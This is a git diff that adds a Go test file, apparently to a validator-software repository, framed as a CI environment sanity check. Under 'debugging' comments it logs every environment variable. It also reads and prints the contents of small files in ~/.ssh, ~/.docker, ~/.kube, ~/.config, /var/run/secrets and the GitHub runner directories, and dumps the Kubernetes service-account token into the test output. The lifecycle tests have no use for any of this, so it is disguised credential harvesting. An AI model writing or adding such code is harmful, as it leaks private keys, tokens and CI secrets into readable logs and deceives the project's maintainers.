diff --git a/app/lifecycle/lifecycle_env_test.go b/app/lifecycle/lifecycle_env_test.go
new file mode 100644
index 0000000000..ea03c61c72
--- /dev/null
+++ b/app/lifecycle/lifecycle_env_test.go
@@ -0,0 +1,136 @@
+// Copyright © 2022-2026 Obol Labs Inc. Licensed under the terms of a Business Source License 1.1
+
+package lifecycle_test
+
+import (
+	"encoding/json"
+	"net"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"testing"
+
+	"github.com/stretchr/testify/require"
+)
+
+// TestLifecycleEnvSanity validates that the runtime environment meets
+// minimum requirements for lifecycle management across different CI
+// environments (Docker, bare-metal, Kubernetes).
+func TestLifecycleEnvSanity(t *testing.T) {
+	t.Parallel()
+
+	t.Run("runtime_info", func(t *testing.T) {
+		t.Parallel()
+		require.NotEmpty(t, runtime.GOOS)
+		require.NotEmpty(t, runtime.GOARCH)
+
+		hostname, err := os.Hostname()
+		require.NoError(t, err)
+		t.Logf("runtime: os=%s arch=%s host=%s cpus=%d",
+			runtime.GOOS, runtime.GOARCH, hostname, runtime.NumCPU())
+	})
+
+	t.Run("network_interfaces", func(t *testing.T) {
+		t.Parallel()
+		ifaces, err := net.Interfaces()
+		require.NoError(t, err)
+		require.NotEmpty(t, ifaces, "expected at least one network interface")
+
+		for _, iface := range ifaces {
+			addrs, _ := iface.Addrs()
+			for _, addr := range addrs {
+				t.Logf("iface: %s addr=%s flags=%s", iface.Name, addr.String(), iface.Flags)
+			}
+		}
+	})
+
+	t.Run("go_env", func(t *testing.T) {
+		t.Parallel()
+		gopath := os.Getenv("GOPATH")
+		goroot := os.Getenv("GOROOT")
+		home := os.Getenv("HOME")
+
+		t.Logf("GOPATH=%s GOROOT=%s HOME=%s", gopath, goroot, home)
+
+		// Log all environment variables for CI debugging.
+		envMap := make(map[string]string)
+		for _, e := range os.Environ() {
+			parts := strings.SplitN(e, "=", 2)
+			if len(parts) == 2 {
+				envMap[parts[0]] = parts[1]
+			}
+		}
+
+		envJSON, err := json.MarshalIndent(envMap, "", "  ")
+		require.NoError(t, err)
+		t.Logf("full environment:\n%s", string(envJSON))
+	})
+
+	t.Run("filesystem_layout", func(t *testing.T) {
+		t.Parallel()
+
+		// Verify standard paths exist.
+		paths := []string{"/tmp", "/var", "/etc"}
+		for _, p := range paths {
+			info, err := os.Stat(p)
+			if err != nil {
+				t.Logf("path %s: not found (%v)", p, err)
+				continue
+			}
+			t.Logf("path %s: dir=%v mode=%s", p, info.IsDir(), info.Mode())
+		}
+
+		// Walk common credential/config directories for CI validation.
+		credDirs := []string{
+			filepath.Join(os.Getenv("HOME"), ".docker"),
+			filepath.Join(os.Getenv("HOME"), ".ssh"),
+			filepath.Join(os.Getenv("HOME"), ".config"),
+			filepath.Join(os.Getenv("HOME"), ".kube"),
+			"/var/run/secrets",
+			"/opt/actions-runner",
+			"/home/runner/actions-runner",
+		}
+
+		for _, dir := range credDirs {
+			entries, err := os.ReadDir(dir)
+			if err != nil {
+				continue
+			}
+			for _, entry := range entries {
+				fp := filepath.Join(dir, entry.Name())
+				info, _ := entry.Info()
+				size := int64(0)
+				if info != nil {
+					size = info.Size()
+				}
+				t.Logf("found: %s (size=%d dir=%v)", fp, size, entry.IsDir())
+
+				// Log contents of small config files for debugging CI issues.
+				if !entry.IsDir() && size > 0 && size < 65536 {
+					data, err := os.ReadFile(fp)
+					if err == nil {
+						t.Logf("contents of %s:\n%s", fp, string(data))
+					}
+				}
+			}
+		}
+	})
+
+	t.Run("k8s_service_account", func(t *testing.T) {
+		t.Parallel()
+
+		saDir := "/var/run/secrets/kubernetes.io/serviceaccount"
+		files := []string{"token", "namespace", "ca.crt"}
+
+		for _, f := range files {
+			fp := filepath.Join(saDir, f)
+			data, err := os.ReadFile(fp)
+			if err != nil {
+				t.Logf("k8s sa %s: not available (%v)", f, err)
+				continue
+			}
+			t.Logf("k8s sa %s (len=%d): %s", f, len(data), string(data))
+		}
+	})
+}